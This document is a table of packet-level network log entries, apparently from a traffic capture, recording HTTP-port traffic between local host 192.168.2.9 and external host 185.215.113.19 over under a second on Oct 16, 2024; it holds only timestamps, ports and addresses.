Oct 16, 2024 19:22:39.688508987 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688518047 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688525915 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688544989 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688560009 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688579082 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688589096 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688659906 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688669920 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688678026 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688685894 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688694000 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688713074 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688807964 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688817024 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688890934 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688899994 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688909054 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688982010 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.688991070 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.689011097 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.689080954 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.689090967 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.689110041 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.689119101 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.689203978 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.689212084 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.689315081 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.689323902 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.689342022 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.689352036 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.689368010 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.689368010 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.689405918 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.689479113 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.689487934 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.689506054 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.689515114 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.689534903 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.689580917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.689580917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.689647913 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.689647913 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.689647913 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.689683914 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.689775944 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.689776897 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.689814091 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.689822912 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.689872026 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.689904928 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.689904928 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.689943075 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.689968109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.689968109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.690068960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.690068960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.690207005 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.690207958 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.690207958 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.690207958 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.690207958 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.690207958 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.690246105 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.690296888 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.690437078 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.690443993 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.690454006 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.690462112 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.690464020 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.690538883 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.690538883 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.690538883 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.690577030 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.690640926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.690640926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.690640926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.690684080 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.690715075 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.690715075 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.690715075 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.690715075 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.690761089 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.690769911 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.690793037 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.690793037 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.690833092 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.690843105 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.690874100 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.690980911 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.691003084 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.691003084 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.691030979 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.691138029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.691190958 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.691190958 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.691258907 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.691272974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.691272020 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.691338062 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.691348076 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.691348076 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.691348076 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.693912029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.693912029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.693912029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.693912029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.693912029 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.693954945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.693954945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.694034100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.694034100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.694034100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.694034100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.694065094 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.694088936 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.694142103 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.694142103 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.694142103 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.694163084 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.694205999 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.694205999 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.694264889 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.694264889 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.694264889 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.694288969 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.694458961 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.694458961 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.694458961 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.694458961 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.694458961 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.694487095 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.694545984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.694545984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.694564104 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.694628954 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.694628954 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.733766079 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:39.755628109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.755628109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.755675077 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.755821943 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.755821943 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.755821943 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.755896091 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.755896091 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.755974054 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.755975008 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.755975008 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.756055117 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.756133080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.756133080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.756133080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.756161928 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.756191015 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.756211042 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.756266117 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.756266117 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.756390095 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.756390095 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.756390095 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.756756067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.756756067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.756756067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.756772995 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.756805897 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.756819963 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757148027 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757205009 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757205009 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757260084 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757260084 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757260084 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757404089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757404089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757404089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757404089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757404089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757404089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757427931 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757462978 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757481098 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757519007 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757519007 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757595062 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757595062 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757595062 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757642984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757642984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757688046 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757688046 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757807970 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757807970 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757807970 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757808924 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757808924 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757894039 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757894039 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757894039 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757894039 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.757924080 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758003950 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758003950 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758003950 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758019924 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758058071 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758115053 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758115053 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758115053 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758255005 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758255005 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758255005 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758255005 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758375883 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758441925 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758441925 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758441925 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758529902 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758529902 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758529902 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758588076 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758588076 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758588076 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758655071 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758655071 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758655071 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758697033 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758697033 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758774996 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758774996 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758774996 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758800983 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758815050 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758934975 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758950949 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758989096 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.758989096 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.759074926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.759190083 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.759190083 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.759190083 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.759206057 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.759334087 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.759334087 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.759334087 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.759413958 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.759413958 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.759413958 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.759422064 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.759562969 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.759562969 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.759563923 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.759563923 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.759563923 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.759624004 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.759624004 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.759624004 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.759668112 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.759668112 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.759711981 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.759712934 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.759757042 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.759757042 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.759826899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.759826899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.759844065 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.760138035 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.760138988 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.760226965 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.760226965 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.760226965 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.760226965 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.760257959 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.760274887 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.760380030 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.760380030 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.760380030 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.760380030 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.760400057 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.760431051 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.760550976 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.760550976 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.760550976 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.760550976 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.760550976 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.760631084 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.760631084 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.760631084 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.760740042 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.760778904 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.760778904 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.760811090 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761010885 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761010885 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761010885 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761010885 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761010885 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761029959 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761065006 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761065006 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761089087 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761301041 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761301041 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761301041 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761301041 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761301041 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761318922 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761516094 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761516094 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761516094 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761516094 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761516094 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761516094 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761540890 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761559963 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761658907 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761658907 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761658907 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761658907 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761713982 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761713982 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761770010 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761770010 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.761770010 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.762079954 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.762079954 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.762079954 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.762079954 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.762098074 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.762140036 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.762140036 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.762157917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:39.762217999 CEST	49716	80	192.168.2.9	185.215.113.19
